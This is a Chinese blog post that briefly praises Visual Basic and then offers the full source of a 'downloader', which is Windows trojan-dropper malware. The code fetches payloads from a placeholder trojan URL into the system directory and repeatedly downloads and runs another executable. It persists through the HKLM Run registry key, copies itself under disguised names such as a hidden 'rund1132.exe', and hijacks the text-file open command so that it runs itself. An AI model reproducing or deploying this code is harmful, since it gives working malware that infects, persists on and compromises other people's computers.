最博客

visual basic这门编程语言在很多老手眼里有些不值一提，其实vb除了可以作为新手入门的引路石之外，其功能也是不容小觑的，在java、c++里面负载gui设计，vb中只要拖动控件，设置属性即可。呵呵，奉献一个下载者的vb源码。

private declare sub sleep lib “kernel32″ (byval dwmilliseconds as long)
                  ‘延迟1秒
private declare function urldownloadtofile lib “urlmon” alias “urldownloadtofilea” (byval pcaller as long, byval szurl as string, byval szfilename as string, byval dwreserved as long, byval lpfncb as long) as long
private declare function gettemppath lib “kernel32″ alias “gettemppatha” (byval nbufferlength as long, byval lpbuffer as string) as long
private declare function regcreatekey lib “advapi32.dll” alias “regcreatekeya” (byval hkey as long, byval lpsubkey as string, phkresult as long) as long
private declare function regclosekey lib “advapi32.dll” (byval hkey as long) as long
private declare function regsetvalueex lib “advapi32.dll” alias “regsetvalueexa” (byval hkey as long, byval lpvaluename as string, byval reserved as long, byval dwtype as long, lpdata as any, byval cbdata as long) as long         ‘ note that if you declare the lpdata parameter as string, you must pass it by value.
const key_run = “software\microsoft\windows\currentversion\run”
const hkey_local_machine = &h80000002
const reg_sz = 1                         ‘ unicode nul terminated string
dim lhkey as long
private declare function regopenkey lib “advapi32.dll” alias “regopenkeya” (byval hkey as long, byval lpsubkey as string, phkresult as long) as long
private declare function getmodulefilename lib “kernel32″ alias “getmodulefilenamea” (byval hmodule as long, byval lpfilename as string, byval nsize as long) as long
private declare function getsystemdirectory lib “kernel32″ alias “getsystemdirectorya” (byval lpbuffer as string, byval nsize as long) as long
private sys as string ‘系统目录
private us as string ‘自己
private tmp as string ‘临时文件夹
private declare function findwindow lib “user32″ alias “findwindowa” (byval lpclassname as string, byval lpwindowname as string) as long

private sub form_load()

on error resume next
dim regedit as object, apppath as string
    dim cp as string
dim ret as long
dim scurrentpath as string, ssystemdir as string

scurrentpath = app.path & “\” & app.exename & “.exe”

form1.visible = false
sys = string(255, 0)
ret = getsystemdirectory(sys, 255)
sys = left(sys, ret) ‘获得系统目录

us = string(1024, 0) ‘获得自己的完整路径
ret = getmodulefilename(0, us, 1024)
us = left(us, instr(us, chr(0)) – 1)
tmp = temp ‘获得完整临时目录
if dir(sys & “\” & “mswinsck.ocx”) = “” then
        ret = urldownloadtofile(0, “木马下载url“, sys & “\mswinsck.ocx”, 0, 0)
       end if
cp = sys & “\system.exe” ‘你在 google 输入 inetdbs.exe 就可以找得到该病毒的介绍了
ret = regcreatekey(hkey_local_machine, key_run, lhkey) ‘写入注册表,以便开机重启
ret = regsetvalueex(lhkey, “server”, 0&, reg_sz, byval cp, len(cp) + 1)
ret = regclosekey(lhkey)
if instr(ucase(us), “inetdbs”) = 0 then
end if
  apppath = iif(right(app.path, 1) = “\”, left(app.path, len(app.path) – 1), app.path)
    ‘取得当前路径，如果是在根目录下就要去掉一个“\”
    set regedit = createobject(“wscript.shell”)
    regedit.regwrite “hkey_classes_root\txtfile\shell\open\command\”, sys & “\” & “rund1132″ & “.exe %1″
  on error resume next
    dim cmd as string
    cmd = command()
    if cmd <> “” then

        shell “notepad.exe ” & cmd, vbnormalfocus
    end if
on error resume next

filecopy scurrentpath, sys & “\system.exe”
on error resume next

filecopy scurrentpath, sys & “\” & “\rund1132.exe”
setattr sys & “\” & “\rund1132.exe”, 7

‘判断程序是否下在运行
if app.previnstance then

end
end if
kill sys & “\systrsy.exe”
  do while dir(sys & “\” & “systrsy.exe”) = “”
  ret = urldownloadtofile(0, “url”, sys & “\systrsy.exe”, 0, 0)
  call sleep(100000)
loop
        shell sys & “\” & “systrsy” & “.exe”, vbnormalfocus
end sub

我猜您可能喜欢：

• No Related Post